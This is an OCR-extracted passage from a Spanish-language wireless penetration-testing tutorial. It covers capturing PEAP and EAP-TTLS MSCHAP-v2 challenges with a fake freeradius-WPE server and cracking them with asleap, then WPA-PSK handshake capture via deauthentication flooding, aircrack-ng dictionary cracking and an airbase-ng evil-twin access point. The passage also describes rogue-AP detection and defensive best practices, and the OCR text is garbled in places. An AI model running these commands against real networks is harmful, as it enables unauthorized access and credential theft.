Module: Checking session {...} for more modules to load

Module: Checking post-proxy {...} for more modules to load
Module: Checking post-auth {...} for more modules to load
} # modules

I # server

radiusd: #### Opening IP addresses and Ports ####

Listen {
type = "auth"
ipaddr -
port = 0
Listen {
type = "acct"
ipaddr = *
port = 0
Listen {
type = “control"
listen {
socket = "/usr/local/var/run/radiusd/radiusd.sock"
}
I3

Listening on authentication address * port 1812

Listening on accounting address * port 1813

lListening on command file /usr/local/var/run/radiusd/radiusd.sock
lListening on proxy address * port 1814

Ready to process requests.

= 71 root@bt: fusrlocal/etc/...

2. A continuacion, reiniciar el servidor de Radius con radiusd -s -X:

jusr/local/etc/raddb

attrsfile = ‘/usr/lo:al/et:/raddb/attrs.accounting_response"
key = "%{User-Name}"

}
Module: Checking session {...} for more modules to load
Module: Checking post-proxy {...} for more modules to load
Module: Checking post-auth {...} for more modules to load
} # modules
} # server
radiusd: #### Opening IP addresses and Ports ####

[Listen {
type = “auth"
ipaddr = *
port = 86
ks
listen {
type = "acct"
ipaddr = *
port = @
}.
Listen {
type = “control™
listen {
socket = "/usr/local/var/run/radiusd/radiusd.sock"
}

i

Listening on authentication address * port 1812

Listening on accounting address * port 1813

Listening on command file /usr/local/var/run/radiusd/radiusd.sock
Listening on proxy address * port 1814

IReady to process requests.




3. Hacemos el seguimiento del archivo de registro creado por freeradius-WPE:

* root@bt: ~
File Edit Terminal Help
root@bt:-# tail /usr/local/var/log/radius/freeradius-server-wpe.log -n 6 -f

4. Windows tiene soporte nativo para PEAP. Vamos a garantizar que la verificacion de certificados se
ha apagado:

Protected EAP Properties @

When connecting:

| validate server certificate

Connect to

! || GTE CyberTrust Global Root

[T http: /jwww. valicert.com/

Microsoft Root Authority N
Microsoft Root Certificate Authority

V| Thawte Timestamping CA

authorize s or trusted

Select Authentication Method:

Secured password (EAP-MSCHAP v2) '] [ Configure... j

[¥] Enable Fast Reconnect

[ Enforce Network Access Protection

|| Disconnect if server does not present cryptobinding TLV
[ | Enable Identity Privacy

[ ok ][ cancel |

5. Sélo tenemos que conectar con el punto de acceso Wireless Lab en Windows para iniciar la
autenticacion PEAP.

6. Una vez que el cliente se conecta al punto de acceso, el cliente pide un nombre de
usuario/contrasefia. Utilizamos Security Tube con el nombre de usuario y el password abcdefghi

Windows Security =]

Network Authentication
Please enter user credentials

ok [ coneei |

omaph |
sl

7. Tan pronto como hacemos esto, podemos ver la respuesta al desafio MSCHAP-v2 aparecen en el
archivo de registro:

x root@ht:’ ~

File Edit View Terminal Help

root@t:-# tail -f /usr/local/var/log/radius/freeradius-server-wpe.log -n @ 4
mschap: Tue Aug 2 04:18:54 2011

username: SecurityTube

challenge: b0:f3:c2:a3:06:0c:94:f5

response: b0:c8:dc:06:1f:9d:c2:bc:35:7d:f2:5b:48:2a:99:58:85:10:04:54:98:ca:04:f9
Y

root@bt: #




8. Ahora usamos Asleap para romper esta usando un archivo de lista de contrasefias que contiene la
contrasefia abcdefghi y seremos capaces de romper la clave.

* root@bt:

dit View Terminal Help

root@bt:-# tail -f /usr/local/var/log/radius/freeradius-server-wpe.log -n 0 2
mschap: Tue Aug 2 04:18:54 2011

username: SecurityTube
challenge: b0:f3:c2:a3:06:0c:94:f5
response: b0:c8:dc:06:1f:9d:c2:bc:35:7d:f2:5b:48:2a:99:58:85:10:04:54:98:ca:04:f9

~C
root@bt:-# asleap -C b0:f3:c2:a3:06:0c:94:f5 -R bO:c8:dc:06:1f:9d:c2:bc:35:7d:f2:5b:48:2a:99:58:
85:10:04:54:98:ca:04:f9 -W list
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using wordlist mode with "list".

hash bytes: 9052

NT hash: e1861417c68111043fhf54205€929052

password: abcdefghi
root@bt:
root@bt:
root@bt:
root@bt:
root@bt:
root@bt:

i RN

¢0ué ha pasado?

Hemos creado nuestro Honeypot con freeradius-WPE. El cliente de la empresa estd mal configurado para no
utilizar la validacion de certificados con PEAP. Esto nos permite presentar nuestro propio certificado falso para el
cliente, que lo acepta con gusto. Una vez que esto sucede, MSCHAP-v2 el protocolo de autenticacion interna
reacciona. A medida que el cliente utiliza nuestro certificado falso para cifrar los datos, somos facilmente capaces
de recuperar el nombre de usuario/el desafio/ y la respuesta de las tuplas .

MSCHAP-v2 es propenso a ataques de diccionario. Utilizamos Asleap para romper el desafio / par de
respuestas, ya que parece que se basa en una palabra del diccionario.

Inténtalo - Varios ataques en PEAP,

PEAP puede estar mal configurado de diferentes maneras. Incluso si esta habilitddo la validacién de certificados,
si el administrador no hace mencidn de los servidores auténticos en la lista Conectar a estos servidores, el
atacante puede obtener un certificado real a otro dominio de cualquiera de las autoridades de certificacion en la
lista. Esto seguiria siendo aceptado por el cliente. Hay otras variantes de que este ataque sea posible también.

Vamos a animar al lector a explorar las diferentes posibilidades en esta seccion.

Atacar EAP-TTLS

En EAP-Tunel Transport Layer Security (EAP-TTLS), el servidor se autentica con un certificado. El cliente que
desee puede usar el certificado también. Desafortunadamente, esto no tiene soporte nativo en Windows y
tenemos que usar utilidades de terceros.

Existen multiples opciones de protocolo de autenticacidn que se pueden utilizar con EAP-TTLS. El mas comun es
nuevo MSCHAP-v2.

Como Windows no admite de forma nativa EAP-TTLS, vamos a usar OS X en esta demostracién.



Parte practica - Cracking EAP_TTLS|

Siga las instrucciones para comenzar:

1. EAP-TTLS también es activado por defecto en eap.conf. Vamos a iniciar el servidor de Radius y
controlar el archivo de registro:

attrsfile = "/usr/local/etc/raddb/attrs.accounting_response"
key = "%{User-Name}"

}
Module:
Module:!

Module:| root@bt:# tail -f /usr/local/var/log/radius/freeradius-server-wpe.log -n 0

radiusd:
IListen {|

i3
[Listen {|

[Listen {|
listen
}

Listenin

Listenin

Listenin

Listenin
Ready to

2. Ponemos en contacto a los clientes y entrar en el SecurityTube credenciales como el nombre de
usuario y como contrasefia demo12345:

The Wi-Fi network “SecurityTube" requires WPA2
- enterprise credentials.

Username: SecurityTube
Password: eesssssese

Show password
@ Remember this network

5,¢ Connecting...

2 | Cancel | Join

3. Inmediatamente, la respuesta MSCHAP-v2 desafio / aparece en el archivo de registro:

* root@bt: ~

File Edit Terminal Help
root@bt:-# tail -f /usr/local/var/log/radius/freeradius-server-wpe.log -n 0 3
mschap: Tue Aug 2 04:09:11 2011

username: SecurityTube
challenge: 0f:18:77:8f:4c:02:¢3:90
response: 12:ef:10:7e:70:35:12:95:4a:51:8e:5f:f2:e5:5e:39:6d:4a:ff:b7:41:87:14:76




4. Una vez mas uso Asleap para romper la contrasefia utilizada. Es importante tener en cuenta que
cualquier lista de contrasefias que utilice, debe contener la contraseiia utilizada por el usuario. A fin de
ilustrarlo si esto no es cierto, no vamos a ser capaces de romper la clave, deliberadamente nos hemos
asegurado de que la contrasefia no esté en la lista por defecto en BackTrack:

v %X root@bt: ~

File Edit View Terminal Help

root@t:-# asleap -C 0f:18:77:8f:4c:02:¢3:90 -R 12:ef:10:7e:70:35:12:95:4a:51:8e:5f:f2:e5:5e:39: *
6d:4a:ff:b7:41:87:14:76 -W list
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using wordlist mode with "list".
hash bytes: f37e
NT hash: h486eb4a83bea2497df401405ba8f37e
password: demo12345
root@bt:-#
root@bt:-#
root@bt:-#
root@bt:# ||

~cUue hanasamo?

Cracking EAP-TTLS es casi idéntico al PEAP. Una vez que el cliente acepta nuestro certificado falso, tenemos el
desafio MSCHAP-v2 / par respuesta. Como MSCHAP-v2 es propenso a ataques de diccionario, se usa Asleap para
romper el par de desafio / respuesta, ya que parece que se base en una palabra del diccionario.

Inténtalo — EAP-TTL

Le animamos a probar los ataques, similar a lo que hemos sugerido para PAEP contra EAP-TTLS
Mejores practicas para empresas

Hemos visto un montdén de ataques contra WPA/WPA?2, tanto personales como empresariales. Basandonos en
nuestra experiencia, recomendamos lo siguiente:

1. Para autébnomos y empresas de tamafio mediano, utilice WPA2-PSK con una fuerte contrasefia.
Tienes 63 caracteres a tu disposicion. Hacer uso de ello.

2. Para las grandes empresas, el uso WPA2-Enterprise con EAP-TLS. Este utiliza certificados de cliente y
del lado del servidor para la autenticacion, y actualmente es irrompible.

3. Si usted tiene que utilizar PEAP o EAP-TTLS con WPA2-Enterprise, asegurese de que la validacién de
certificados esta activado, las autoridades de certificacion correctos son elegidos, los servidores
RADIUS que estan autorizadas se utilizan y finalmente, cualquier ajuste permite a los usuarios a
aceptar nuevos servidores Radio, los certificados, las autoridades de certificacion estar apagado.

Examen sorpresa — Atague WPA-Enterprise y Radius



1. Freeradius-WPE es:
a. Servidor Radius escrito desde cero
b. Parche para el servidor FreeRADIUS
c. La forma predeterminada en todos los Linux
d. Ninguna de las anteriores
2. PEAP puede ser atacado mediante:
a. Credenciales falsas
b. Certificados falsos
c. Utilizando WPA-PSK
d. Todas las anteriores
3. EAP-TLS utiliza:
a. Certificados del lado del cliente
b. Certificados del lado del servidor
c. Cualquiera de las dos (a) o (b)
d. Ambas (a) y (b)
4. EAP-TTLS utiliza:
a. Certificados de cliente Unicamente
b. Certificados del lado del servidor
c. Autenticacion basada en contrasefia

d. LEAP

1. En este capitulo, hemos visto la forma en que podria comprometer la seguridad de una
red WPA-Enterprise corriendo PEAP o EAP-TTLS, los dos mecanismos de autenticacion mds
utilizados en las empresas.

2. En el préximo capitulo, veremos cdmo poner todo lo que hemos aprendido utilizandolo
durante una prueba de penetracion real.



Metodologia de pruehas

En los ultimos ocho capitulos, hemos cubierto mucho terreno. Ahora es el momento de poner todo lo que hemos
aprendido a prueba

En este capitulo, vamos a aprender como llevar a cabo una prueba de penetracion inaldmbrica con todos los
conceptos que hemos aprendido. Vamos a explorar la red de un cliente y luego realizar sistematicamente la
prueba de penetracidn en varias etapas.

Metodologia de las pruebas de penetracidn inalambrica no es diferente de la alambrica. Las diferencias radican
en las técnicas actuales utilizadas para llevar a cabo actividades en varias fases. Aquellos con alguna experiencia
en las pruebas de penetracion del mundo del cable se sentirdan como en casa. Para aquellos que no tienen esos
conocimientos, no se preocupe, vas a coger esto muy rapido!

En términos generales, podemos dividir un ejercicio de pruebas de penetracién inaldmbrica en las siguientes
fases:

1. La fase de planificacion
2. Fase de descubrimiento

3. Fase de ataque



4. Fase de informes

Ahora vamos a examinar cada una de estas fases por separado.
Planificacion
En esta fase, se entiende lo siguiente:

1 Ambito de aplicacién de la evaluacion:. El cliente que contrata al pentester deberé definir el alcance de la
evaluacion. Por lo general, la siguiente informacién es recogida:

. ubicacién de la prueba de penetracion

. drea de cobertura total de las instalaciones

- Numero aproximado de puntos de acceso y clientes inaldmbricos desplegados

. £Qué redes inalambricas estan incluidos en la evaluacién?

. En caso de una prueba nos diga si el sistema es vulnerableé se hace, o deberia
simplemente informar?

2 Estimacion de esfuerzo: Una vez que el ambito esta claro el pentester tiene que hacer una estimacion del
esfuerzo de toda la actividad. Esto consistira en lo siguiente:

. El nimero de dias disponibles para la prueba de penetraciéon
. El nUmero de horas que se requieran para el trabajo
. La profundidad del ensayo de penetracion sobre la base de los requisitos

3 Legalidad. Las pruebas de penetracion son un asunto serio y las cosas pueden salir muy mal a veces. Por lo
tanto, es importante tener un acuerdo de indemnizacion que garantiza que la prueba de intrusién o su empresa
no es responsable de los dafios resultantes de esta prueba. También, a veces, los clientes pueden requerir que
usted firme un acuerdo de confidencialidad (NDA) para garantizar que los datos que se retinen y los resultados
de las pruebas de intrusién son privados y no pueden ser revelados a terceros. Ademas, debe ser consciente de
las leyes locales que pudieran ser de aplicacién como los canales y niveles de potencia permitidos. Es importante
asegurarse de que las leyes locales no deben rompense durante el ensayo de penetracién.

Una vez que todas las anteriores esta en su lugar, estamos listos para hacerlo.

Descubrimiento

En esta fase, vamos a explorar las redes inaldmbricas y encontrar diferentes puntos de acceso y clientes en los
alrededores.

Por lo tanto, vamos a empezar

Parte practica — Descubrimiento de dispositivos inalambricos

Siga las instrucciones para comenzar:

1. Crear una interfaz en modo monitor usando su tarjeta como se muestra en la siguiente pantalla:



root@bt: — - Shell - Konsole

:c2

Session Edit View Bookmarks Settings Help
:~# ifconfig -a
ethe Link encap:Ethernet HWaddr ©8:00:27:1a:1f
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:® overruns:@
TX packets:0 errors:0 dropped:® overruns:@
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:® overruns:0®
TX packets:0 errors:0 dropped:® overruns:©
collisions:0 txqueuelen:@
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
wlan@ Link encap:Ethernet HWaddr 00:cO:ca:3e:bd:
BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:® overruns:©
TX packets:0 errors:0 dropped:® overruns:@
collisions:0 txqueuelen:1000
RX bytes:0 (8.8 B) TX bytes:0 (0.0 B)
:~# ifconfig wlan@ up
:~# airmon-ng start wlan®
Interface Chipset Driver
wlan@ RTL8187 rt18187 - [phyel
(monitor mode enabled on mon®)

frame:0
carrier:0

frame:0
carrier:@

93

frame: 0
carrier:@

2. Use airodump-ng para iniciar la exploracion del espacio aéreo. Asegurese de que pasa a través

del salto de canales en todas las bandasde 802,11 byg:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# airodump-ng --band bg --cswitch 1 mono]]

3. Desplazarse por las instalaciones para obtener mayor nimero de clientes y puntos de acceso como
sea posible:

root@bt: ~ - Shell -

Konsole

Session Edit View Bookmarks Settings Help

CH 8 ][ Elapsed: 52 s ][ 2011-04-28 10:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1E:40:53:02:FC -53 56 13 8 6 54 WPA TKIP PSK vivek

00:21:91:D2:8E:25 -66 163 5 8 1 54e. WPA TKIP PSK Wireless Lab

00:17:7C:09:CF:10 -69 26 0 9 11 54e WPA TKIP PSK Sunny

00:22:7F:66:83:79 -1 0 3 0158 -1 WPA <length: 0>

40:4A:03:AB:EB:E2 -73 3 0 © 6 54 . WPA TKIP PSK tata

BSSID STATION PWR  Rate Lost Packets Probes

00:1E:40:53:02:FC C8:BC:C8:EE:12:6B -3 36 - 1 0 15 vivek

00:1E:40:53:02:FC 70:F1:Al:84:29:1A -39 54 -48 0

00:21:91:D2:8E:25 00:22:FB:35:FC:44 -20 48e-12e 0 14 Vivek

00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -24 0 - 1le 0 29 Wireless Lab,Vivek
= |

4. Solicitar al administrador del sistema de la empresa una lista de direcciones MAC para todos los

puntos de acceso y clientes inaldmbricos. Esto nos ayudara en la

siguiente fase:



¢0ué ha pasado?

Tomamos una exploracion de toda la red inaldmbrica en la zona. Esto ya nos da una idea clara sobre lo que estd
en el aire. Este es el punto de partida del ejercicio. Ahora vamos a analizar este montén y estudiar el ataque de
penetracidn real en la fase de ataque.

Ahora que entendemos lo que estd en el espacio aéreo de la red autorizada, tenemos que dividir el problema en
partes mas pequefias.

En nuestra fase de ataque, vamos a explorar lo siguiente:

Encontrar los puntos de acceso
Encontrar malas asociaciones de clientes
Encontrar clientes no autorizados
Técnicas de encriptacion

Penetrar en la infraestructura
Comprometer clientes

O O O O O O

Encontrar los puntes de acceso

El administrador nos ha proporcionado la lista de direcciones MAC de los clientes autorizados y los puntos de
acceso:

Punto de acceso autorizado:

. ESSID: Wireless Lab
° MAC Address: 00:21:91:D2:8E:25
. Configuraciéon: WPA-PSK

Los clientes autorizados:
e MAC Address: 60:FB:42:D5:E4:01
Ahora vamos a utilizar esta lista para encontrar puntos de acceso en el sistema.
Siga las instrucciones para comenzar:

1. Volcamos una lista de todas las direcciones MAC en el swich de la red del cliente. En el caso mas
comun, las interfaces de cable e inalambricas de direcciones MAC difieren en 1. Nos encontramos con
la siguiente lista de direcciones de los swichs : 00:21:91:D2:8E:26y 00:24:B2:24:7E:BF
gue estan cerca de los que observamos en el aire

2. Se trata de cerrar los puntos de acceso como se muestra en la captura de pantalla:



root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

CH 10 ][ Elapsed: 56 s ][ 2011-84-28 10:35

WPA2 CCMP New NETGEAR

00:22:7F:25:0A:99 -71

158 -1 OPN <length: 6>

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:22:7F:69:4F:A9 -1 0 2 6 168 -1 WPA <length: 6>
00:21:91:D2:8E:25 -24 98 7 0 1 54e. WPA TKIP PSK Wireless Lab
00:1E:40:53:02:FC  -58 54 8 8 6 54 WPA TKIP PSK vivek
00:22:B0:42:8A:97 -64 13 ] 6 6 54 . WEP VEP brindavan
40:4A:03:AB:EB:E2 -65 13 0 6 6 54 .WPA TKIP PSK tata
00:25:5E:06:DB:BB -67 7 0 6 1 54 OPN <length: 6>
00:25:5E:06:DB:B8  -67 5 ] 6 1 54 WEP VWEP Airtel
00:17:7C:09:CF:10 -67 17 ] 6 11 54e WPA TKIP PSK Sunny
00:25:5E:06:DB:B9 -68 8 0 6 1 54 OPN <length: 6>
00:25:5E:06:DB:BA  -68 9 [} 6 1 54 OPN <length: 0>
00:24:B2:BC:33:5A -68 6 ] 0 6 54e WPA2 CCMP  PSK FinAirWifi
00:25:5E:C6:EB:0E -69 5 0 6 1 54 OPN <length: 0>
00:25:5E:C6:EB:0C -69 2 0 6 1 54 WEP WEP Airtel
00:25:5E:3F:D9:0C -69 4 ] 6 1 54 WEP VWEP Hissaria's
00:25:5E:C6:EB:0F -70 6 0 6 1 54 OPN <length: 6>
00:25:5E:C6:EB:6D -70 3 0 6 1 54 OPN <length: 6>
5 0 0
(] 5 ]
00:25:5E:3F:D9:0E -71 3 0 6 1 54 OPN <length: 0>
00:25:5E:3F:D9:6D -71 4 0 6 1 54 OPN <length: 6>
AC:67:06:32:AC:99 -72 0 3 6 158 -1 OPN <length: 6>
00:22:7F:66:83:79 -1 0 3 0 158 -1 WPA <length: 6>

3. Esto nos lleva a la conclusién de que el punto de acceso con ESSID New NETGEAR qy la direccion
MAC inaldmbrica 00:24:B2:24:7E: BE con la MAC en la cara del cable 00:24:B2:24:7E:BF
es un dispositivo no autorizado

Session Edit View Bookmarks Settings Help

CH 16 ][ Elapsed: 56 s ][ 2011-04-28 10:35

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:22:7F:69:4F:A9 -1 0 2 0 108 -1 WPA <length: 0>
00:21:91:D2:8E:25 7 g 1 . Wireless Lab
00:1E:40:53:02:FC -58 54 8 0 6 54 WPA TKIP PSK vivek
00:22:B0:42:8A:97 -64 13 0 © 6 54 . WEP WEP brindavan
40:4A:03:AB:EB:E2 -65 13 (] 6 6 54 . WPA TKIP PSK tata
00:25:5E:06:DB:BB  -67 7 0 6 1 54 OPN <length: 0>
00:25:5E:06:DB:B8 -67 5 0 6 1 54 WEP WEP Airtel
00:17:7C:09:CF:16 -67 17 0 6 11 54e WPA TKIP PSK Sunny
00:25:5E:06:DB:B9 -68 8 0 6 1 54 OPN <length: 0>
00:25:5E:06:DB:BA -68 9 0 6 1 54 OPN <length: 0>
00:24:B2:BC:33:5A -68 6 0 0 6 54e WPA2 CCMP PSK FinAirWifi
00:25:5E:C6:EB:0E -69 5 0 6 1 54 OPN <length: 0>
00:25:5E:C6:EB:0C -69 2 0 6 1 54 WEP WEP Airtel
00:25:5E:3F:D9:06C -69 4 ] 6 1 54 WEP WEP Hissaria's
00:25:5E:C6:EB:0F -70 6 0 6 1 54 OPN <length: 0>
00:25:5E:C6:EB:0D -70 3 0 6 1 54 OPN <length: 0>
00:24:B2:24:7E:BE -70 5 0 0 11 54e WPA2 CCMP  PSK New NETGEAR
00:22:7F:25:0A:99 -71 0 5 6 158 -1 OPN <length: 0>
00:25:5E:3F:D9:0E -71 3 0 6 1 54 OPN <length: 0>
00:25:5E:3F:D9:6D -71 4 0 6 1 54 OPN <length: 0>
AC:67:06:32:AC:99 -72 0 4 6 158 -1 OPN <length: 6>
00:22:7F:66:83:79 -1 0 3 0158 -1 WPA <length: 0>




4. Ahora usamos varios comandos del conmutador de red para averiguar qué puerto fisico que se
conecta a la red corporativa y retirela.

¢0ué ha pasado?

Hemos detectado un punto de acceso no autorizados en la red mediante una simple técnica de la direccion MAC
correspondiente. Es de sefialar que podria ser posible vencer a este enfoque y por lo tanto esto no es a toda
prueba. Con el fin de detectar puntos de acceso de forma determinante tendra que utilizar los sistemas
inaldmbricos de prevencion de intrusiones que utilizan una variedad de técnicas mediante el envio de paquetes
disefiados para detectar puntos de acceso no autorizados.

Encontrar clientes no autorizados

Una de las principales preocupaciones es que un cliente no autorizado se conecta a la red corporativa. Estos
pueden haber sido traidos por los empleados o alguien puede haber entrado en la red. En esta seccidn, vamos a
ver como encontrar clientes no autorizados:

Parte practica — Clientes no autorizado

Siga las instrucciones para comenzar:

1. Nos fijamos en la parte del cliente de la salida de ai rodump-ng:

BSSID STATION PWR  Rate Lost Packets Probes

(not associated) (C8:BC:C8:EE:12:0B -19 -1 86 vivek

(not associated) ©0:14:A5:AC:42:72 -62 6-1 ]

(not associated) 00:22:7F:28:23:08 -68 0 -2 0 Mesh-320833000058-12

Vivek

5
1
2
00:21:91:D2:8E:25 00:22:FB:35:FC:44 -25 54e-54e 0 5
9 Wireless Lab,Vivek
7
1
5
4

00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -73 0 - le 568
00:1E:40:53:02:FC 70:F1:A1:84:29:1A -48 54 -1 164

W

40:4A:03:AB:EB:E2 78:E4:00:51:98:59 -66 6 -1 ]
00:22:7F:25:0A:99 00:24:2B:64:DF:A4 -1 1-9 ]
AC:67:06:32:AC:99 00:21:5C:81:B9:C7 -1 le- 0 0

2. Podemos ver claramente que un cliente con la direccion MAC se asocia con el punto de acceso
autorizado, a pesar de que no es parte de la red corporativa:

BSSID STATION PWR  Rate Lost Packets Probes

(not associated) (8:BC:C8:EE:12:08 -19 0 -1 86 5 vivek

(not associated) 00:14:A5:AC:42:72 -62 6-1 [} 1

(not associated) 00:22:7F:28:23:08 -68 0-2 0 2 Mesh-320833000058-12
00:21:91:D2:8E:25 :22:FB:35:FC: 4e-54 15

00:21:91:D2:8E:25 60:FB:42:D5:E4:01 -73 0 -1le 568 39 Wireless Lab,Vivek
00:1E:40:53:02:FC 70:F1:A1:84:29:1A -48 54 - 1 164 7

40:4A:03:AB:EB:E2 78:E4:00:51:98:59 -66 0-1 0 1

00:22:7F:25:0A:99 00:24:2B:64:DF:A4 -1 1-0 0 5

AC:67:06:32:AC:99 00:21:5C:81:B9:C7 -1 le- 0 0 4

3. Esto claramente nos permite localizar los clientes no autorizados conectados a la red.



¢0ué ha pasado?

Hemos utilizado airodump-ng para encontrar los clientes no autorizados conectados a los puntos de acceso
autorizados. Esto apunta al hecho de que un usuario autorizado utiliza un cliente externo o un usuario no

autorizado ha logrado acceder a la red.

Técnicas de encriptacion

Ahora echemos un vistazo a la red autorizada y vemos si podemos romper la clave de red WPA. Vemos que el
cifrado de la red es WPA-PSK, esta es una mala sefial en si misma. Vamos a tratar un ataque de diccionario

sencillo para comprobar la fortaleza de la contrasefia elegida.

Parte practica — Cracking WPH

Siga las instrucciones para comenzar:

1. Vamos a ejecutar airodump-ng con objetivo el punto de acceso Wireless Lab mediante el

uso de un filtro basado en BSSID:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# airodump-ng --channel 1 --bssid 00:21:91:D2:8E:25 --write WPA-PSK mon@]]

2. Airodump-ng empieza a recoger los paquetes y espera el apretdn de manos WPA:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

CH 1 ][ Elapsed: 16 s ][ 2011-064-28 13:45

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -29 96 149 30 1 1 54e. WPA TKIP PSK Wireless Lab
BSSID STATION PWR  Rate Lost Packets Probes
00:21:91:D2:8E:25 ©0:22:FB:35:FC:44 -20 48e-12e 39 74

3. Por suerte, hay un cliente conectado y se puede usar un ataque de de-autenticacion para acelerar

las cosas:
root@bt: ~ - Shell No. 2 - Konsole
Session Edit View Bookmarks Settings Help
:~# aireplay-ng --deauth 0 -a 00:21:91:D2:8E:25 mon®@
13:46:01 Waiting for beacon frame (BSSID: ©0:21:91:D2:8E:25) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
13:46:02 Sending DeAuth to broadcast -- BSSID: [00:21:91:D2:8E:25]
13:46:02 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:46:02 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:46:03 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:46:03 Sending DeAuth to broadcast BSSID: [©00:21:91:D2:8E:25]
13:46:04 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:46:04 Sending DeAuth to broadcast BSSID: [©0:21:91:D2:8E:25]
13:46:05 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:46:05 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:46:06 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:46:06 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:46:07 Sending DeAuth to broadcast BSSID: [©00:21:91:D2:8E:25]
13:46:07 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:46:08 Sending DeAuth to broadcast BSSID: [©0:21:91:D2:8E:25]
13:46:08 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:46:09 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:46:09 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
13:46:10 Sending DeAuth to broadcast BSSID: [00:21:91:D2:8E:25]
ﬁ3:4ﬁ 1@ Sending DeAuth to broadcast BSSID: [©00:21:91:D2:8E:25]




4. Ahora, hemos capturado un apretén de manos WPA:

root@bt: ~ - Shell - Konsole

bn Edit View Bookmarks Settings Help

CH 1 ][ Elapsed: 2 mins ][ 2011-04-28 13:47 ][ WPA handshake: 00:21:91:D2:8E:25

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25 -35 100 1358 542 14 1 54e. WPA TKIP PSK Wireless Lab
BSSID STATION PWR Rate Lost Packets Probes
00:21:91:D2:8E:25 00:22:FB:35:FC:44 -20 2e-48e 1 576

5. Iniciamos aircrack-ng para comenzar un ataque de diccionario en el handshake:

root@bt: ~ - Shell No. 3 - Konsol

Session Edit View Bookmarks Settings Help
:~# aircrack-ng -b 00:21:91:D2:8E:25 -w words WPA-PSK-01.cap ||

6. A medida que la contrasefia ha sido facil, hemos sido capaces de descifrar utilizando el diccionario
como se muestra en la siguiente pantalla:

root@bt: ~ - Shell No. 3 - Konsole

Edit View Bookmarks Settings Help

Aircrack-ng 1.1 r1738

[00:00:00] 1 keys tested (118.33 k/s)

KEY FOUND! [ 12345678 ]

Master Key : 0C 11 EE Al B7 6F F4 D4 7C 65 2B 73 78 6D C6 A4
1A B3 D4 68 E5 BE EF 5C AA 29 67 AC 9C 7C 27 7E

Transient Key : EF (B 68 11 63 F2 B0 5A 61 B0 78 36 BE 31 77 (6
D8 E5 B0 4D C5 98 CE AF 93 1B 5A Bo CB 70 (6 B8
F6 67 7A 04 20 C8 9A EB A4 18 74 AB 0A 19 71 29
DF E6 1C B4 C3 1C 4D E2 3F 1B 84 97 BD FE D7 D9

EAPOL HMAC : EF 5B 63 D8 CA F9 20 99 FB 3B 5B BB OE 1B 96 65
3
~#

A pesar de que WPA-PSK se puede hacer practicamente impenetrable por la eleccion de una contrasefia fuerte,
los administradores de esta red cometieron el error fundamental de la eleccién de una forma facil de recordary
utilizar contrasefia. Esto llevé al compromiso de la red utilizando el ataque sencillo basado en diccionario.

Comprometer los clientes

En esta seccidn vamos a explorar si podemos obligar a un cliente a asociarse con nosotros. Esto abrird nuevas
oportunidades para comprometer la seguridad del cliente.



comenzar:

Parte practica — Comprometiendo a los clientes

Siga las instrucciones para

1. Volvamos a la seccién de clientes de la pantalla de ai rodump-ng:

BSSID

(not associated)
(not associated)
(not associated)
00:21:91:D2:8E:25
00:21:91:D2:8E: 25
00:1E:40:53:02:FC
40:4A:03:AB:EB:E2
00:22:7F:25:0A:99
AC:67:06:32:AC:99

STATION

C8:BC:C8:EE:12:0B
00:14:A5:AC:42:72
00:22:7F:28:23:08
00:22:FB:35:FC:44
60:FB:42:D5:E4:01
70:F1:A1:84:29:1A
78:E4:00:51:98:59
00:24:2B:64:DF:A4
00:21:5C:81:B9:C7

PWR  Rate
=19
-62
-68
-25
-73
-48
-66
-1
-1

[T}
HHEORSD # oco
o
w
PoRREANEH

m
v

)

Lost Packets Probes

[
o

vivek

Mesh-326833000058-12
Vivek
Wireless Lab,Vivek

[
BURNOUNRMWV

2. Vemos que el cliente autorizado tiene dos redes en su lista de redes preferidas Wireless-Laby
Vivek. Primero vamos a crear un punto de acceso Vivek utilizando airbase-ng:

root@bt: ~ - Shell No. 3 -

Ed

View Bookmarks

Settings

Help

:~# airbase-ng --essid Vivek mon®
14:42:39 Created tap interface at®
14:42:39 Trying to set MTU on at® to 15600
14:42:39 Access Point with BSSID 00:C0:CA:3E:BD:93 started.

3. Vamos a desconectar el cliente a lafuerza del Wireless Lab de forma continuada enviamos

mensajes de de-autenticacion:

14:43:
L4:43:
L4:43:
14:43:
14:43:
14:43:
14:43:
14:43;
L4:43:
L4:43:
14:43:
14:43:
14:43:
14:43:
